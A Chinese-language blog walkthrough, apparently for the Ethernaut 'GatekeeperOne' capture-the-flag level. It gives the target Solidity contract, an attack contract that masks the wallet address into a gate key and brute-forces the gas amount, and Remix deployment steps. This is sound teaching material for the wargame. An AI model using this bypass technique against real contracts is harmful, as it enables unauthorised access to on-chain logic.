# 测试13

By [hujiawei](https://paragraph.com/@hujiawei) · 2022-04-18

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### 1.将官方提供的源代码做些许改动，并创建名为Eth13.sol文件。改动后的代码如下：

`// SPDX-License-Identifier: MIT`

`pragma solidity ^0.8.0;`

`import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';` `contract GatekeeperOne {`   `using SafeMath for uint256;  address public entrant;  uint256 i = uint256(uint160(address(tx.origin)));`   `modifier gateOne() {    require(msg.sender != tx.origin);    _;  }`   `modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _;  }`   `modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(i), "GatekeeperOne: invalid gateThree part three");    _;  }`   `function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true;` 

### 或者使用以下链接：

[https://github.com/ssadad112/eth13\_1.sol/blob/main/eth1313.sol](https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol)

### 2.部署新合约，命名为Eth13\_attack.sol 。合约代码如下：

`// SPDX-License-Identifier: MIT`

`pragma solidity ^0.8.0;`

`import 'https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol';` `contract AreYouTheKeymaster{    using SafeMath for uint256;    bytes8 txOrigin16 = 0xA4c02754963E3a2e; //你钱包地址的后16位    bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF;    GatekeeperOne public gkpOne;`     `function setGatekepperOne(address _addr) public{        gkpOne = GatekeeperOne(_addr);    }`     `function letMeIn() public{        for (uint256 i =0; i < 120; i++) {            (bool result, bytes memory data) = address(gkpOne).call{gas:            i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key));             if(result)            {                break;            }         }    }}`

### 或者使用以下链接：

[https://github.com/ssadad112/Eth13\_attack.sol/blob/main/Eth13\_attack.sol](https://github.com/ssadad112/Eth13_attack.sol/blob/main/Eth13_attack.sol)

3.部署这个合约，见下图：

![](https://storage.googleapis.com/papyrus_images/d5e63d069c8d5048cc64ee8a66431aec99caf2db03444ea0c88ea5be9d2ae57e.png)

4.部署成功后在浏览器提供的实例地址填入上图中的“setGatekepp”处，然后点击“setGatekepp”，确认钱包。确认后点击 “letmein”，确认钱包，任务结束，提交。

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*Originally published on [hujiawei](https://paragraph.com/@hujiawei/13)*